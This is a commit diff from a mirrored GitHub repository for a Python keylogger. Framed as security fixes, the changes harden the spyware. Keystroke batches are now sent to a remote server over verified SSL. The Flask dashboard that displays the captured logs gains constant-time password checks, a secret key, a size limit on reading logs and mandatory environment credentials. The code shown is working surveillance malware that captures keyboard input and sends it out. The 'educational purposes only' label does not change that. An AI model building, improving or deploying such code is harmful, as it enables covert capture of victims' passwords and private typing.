mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 19:36:31 +00:00
Fix security vulnerabilities from code review
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -4,3 +4,4 @@ WEB_SERVER_PASSWORD=change_this_password
|
||||
|
||||
# Flask Configuration
|
||||
FLASK_DEBUG=False
|
||||
FLASK_SECRET_KEY=generate_random_secret_key_here
|
||||
|
||||
+23
-3
@@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143
|
||||
class KeyLogger:
|
||||
"""Keylogger class to handle keyboard input capture and logging."""
|
||||
|
||||
def __init__(self, log_file_path, server_url, batch_size=10):
|
||||
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True):
|
||||
"""
|
||||
Initialize the KeyLogger.
|
||||
|
||||
@@ -40,10 +40,12 @@ class KeyLogger:
|
||||
log_file_path (str): Path to the log file
|
||||
server_url (str): URL of the server to send logs to
|
||||
batch_size (int): Number of keystrokes before sending to server
|
||||
verify_ssl (bool): Whether to verify SSL certificates (default: True)
|
||||
"""
|
||||
self.log_file_path = log_file_path
|
||||
self.server_url = server_url
|
||||
self.batch_size = batch_size
|
||||
self.verify_ssl = verify_ssl
|
||||
self.buffer = []
|
||||
|
||||
# Ensure the log directory exists
|
||||
@@ -70,7 +72,12 @@ class KeyLogger:
|
||||
|
||||
try:
|
||||
log_data = ''.join(self.buffer)
|
||||
response = requests.post(self.server_url, data={"log": log_data}, timeout=10)
|
||||
response = requests.post(
|
||||
self.server_url,
|
||||
data={"log": log_data},
|
||||
timeout=10,
|
||||
verify=self.verify_ssl # Verify SSL certificates by default
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
print("Log sent successfully!")
|
||||
@@ -80,6 +87,9 @@ class KeyLogger:
|
||||
# Clear the buffer after sending
|
||||
self.buffer = []
|
||||
|
||||
except requests.exceptions.SSLError as e:
|
||||
print(f"SSL Error: {e}")
|
||||
print("If using self-signed certificates, you can disable SSL verification (NOT recommended for production)")
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Error sending log: {e}")
|
||||
|
||||
@@ -186,6 +196,11 @@ def main():
|
||||
type=int,
|
||||
help='Override batch size from config'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--no-verify-ssl',
|
||||
action='store_true',
|
||||
help='Disable SSL certificate verification (NOT recommended)'
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -197,14 +212,19 @@ def main():
|
||||
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
|
||||
server_url = args.server_url or keylogger_config.get('server_url', '')
|
||||
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
||||
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
|
||||
|
||||
if not server_url:
|
||||
print("Error: Server URL not configured.")
|
||||
print("Please set server_url in config/config.json or use --server-url argument.")
|
||||
sys.exit(1)
|
||||
|
||||
if args.no_verify_ssl:
|
||||
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
|
||||
print(" This is NOT recommended for production use.")
|
||||
|
||||
# Create and start the keylogger
|
||||
keylogger = KeyLogger(log_file_path, server_url, batch_size)
|
||||
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl)
|
||||
keylogger.start()
|
||||
|
||||
|
||||
|
||||
+37
-7
@@ -7,6 +7,7 @@ For educational purposes only.
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import secrets
|
||||
import argparse
|
||||
from functools import wraps
|
||||
from flask import Flask, render_template_string, send_file, request, Response
|
||||
@@ -25,6 +26,9 @@ Github: https://github.com/Stalin-143
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
# Set a secure secret key for session management
|
||||
app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
|
||||
|
||||
# Global configuration
|
||||
CONFIG = {
|
||||
'log_file_path': 'logs/keylog.txt',
|
||||
@@ -35,7 +39,7 @@ CONFIG = {
|
||||
|
||||
def check_auth(username, password):
|
||||
"""
|
||||
Check if username and password are valid.
|
||||
Check if username and password are valid using secure comparison.
|
||||
|
||||
Args:
|
||||
username (str): Username to check
|
||||
@@ -44,7 +48,10 @@ def check_auth(username, password):
|
||||
Returns:
|
||||
bool: True if valid, False otherwise
|
||||
"""
|
||||
return username == CONFIG['username'] and password == CONFIG['password']
|
||||
# Use secrets.compare_digest for constant-time comparison to prevent timing attacks
|
||||
username_match = secrets.compare_digest(username, CONFIG['username'])
|
||||
password_match = secrets.compare_digest(password, CONFIG['password'])
|
||||
return username_match and password_match
|
||||
|
||||
|
||||
def authenticate():
|
||||
@@ -153,6 +160,17 @@ def home():
|
||||
|
||||
if os.path.exists(log_file_path):
|
||||
try:
|
||||
# Read file with size limit to prevent memory exhaustion
|
||||
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB limit
|
||||
file_size = os.path.getsize(log_file_path)
|
||||
|
||||
if file_size > MAX_FILE_SIZE:
|
||||
# For large files, read only the last portion
|
||||
with open(log_file_path, 'r') as file:
|
||||
file.seek(max(0, file_size - MAX_FILE_SIZE))
|
||||
log_contents = file.read()
|
||||
log_contents = f"[Showing last {MAX_FILE_SIZE/1024/1024:.1f}MB of {file_size/1024/1024:.1f}MB file]\n\n" + log_contents
|
||||
else:
|
||||
with open(log_file_path, 'r') as file:
|
||||
log_contents = file.read()
|
||||
except Exception as e:
|
||||
@@ -276,12 +294,24 @@ def main():
|
||||
# Update global config
|
||||
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
|
||||
|
||||
# Load credentials from environment variables or config
|
||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin')
|
||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin')
|
||||
# Load credentials from environment variables
|
||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
|
||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
|
||||
|
||||
if CONFIG['password'] == 'admin':
|
||||
print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.")
|
||||
# Validate that credentials are set
|
||||
if not CONFIG['username'] or not CONFIG['password']:
|
||||
print("ERROR: Authentication credentials not set!")
|
||||
print("Please set WEB_SERVER_USERNAME and WEB_SERVER_PASSWORD environment variables.")
|
||||
print("Example:")
|
||||
print(" export WEB_SERVER_USERNAME=admin")
|
||||
print(" export WEB_SERVER_PASSWORD=your_secure_password")
|
||||
print("\nOr source your .env file:")
|
||||
print(" source config/.env")
|
||||
sys.exit(1)
|
||||
|
||||
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8:
|
||||
print("⚠️ WARNING: Weak password detected!")
|
||||
print(" Please use a strong password (at least 8 characters).")
|
||||
|
||||
# Get server settings
|
||||
host = args.host or server_config.get('host', '0.0.0.0')
|
||||
|
||||
Reference in New Issue
Block a user